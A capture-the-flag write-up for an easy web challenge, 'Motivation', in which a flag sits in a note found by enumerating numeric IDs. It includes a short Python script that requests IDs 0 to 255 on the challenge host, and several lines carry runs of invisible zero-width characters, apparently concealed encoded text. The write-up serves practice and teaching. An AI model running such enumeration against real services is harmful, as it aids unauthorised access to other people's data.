← Back to Writeups
CUSTOMEasyWeb

Motivation

XESXOR9/2/20261 min read
#web#custom#easy#id_enumeration#parameter_brute_force

Motivation

Platform: CUSTOM | Category: Web | Type: Challenge | Difficulty: Easy | OS: N/A | **Author: XESXOR Techniques: id_enumeration, parameter_brute_force

Summary

Walkthrough of the CUSTOM Web Motivation. "After reading these notes I'm highly motivated..."

Description

"After reading these notes I'm highly motivated..."

A service with notes accessible by numeric identifier.

Analysis

The service provides access to notes via a parameter with a numeric ID. When accessing standard IDs (0, 1, 2...), regular notes are displayed. However, the flag is hidden in a note with a non-standard number.

Key observations:

  • Notes are accessible via a numeric parameter
  • The ID range is not limited to standard values
  • No brute-force protection ‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

Solution

Step 1: Determine the range

Check available note IDs. Standard notes are at the beginning of the range.

Step 2: Brute-force ID

Enumerate IDs from 0 to 255 (or more) to find hidden content.

python
#!/usr/bin/env python3
import requests

url = "http://kslweb1.spb.ctf.su/burp/motivation/"

for i in range(256):
    r = requests.get(url, params={"id": i})
    if "spbctf{" in r.text or "flag" in r.text.lower():
        print(f"[+] Found at ID {i}:")
        print(r.text)
        break
    elif r.status_code == 200 and len(r.text) > 100:
        print(f"[*] ID {i}: {len(r.text)} bytes")

‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

Step 3: Result

Flag found in note with ID = 162. ‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

Key Takeaways / Lessons

  • Mastering id_enumeration, parameter_brute_force was key to this challenge.
  • Always check for common misconfigurations and verify assumptions.

Crafted by XESXOR Research • 2026-03-09 • CUSTOM • Motivation • Difficulty: Easy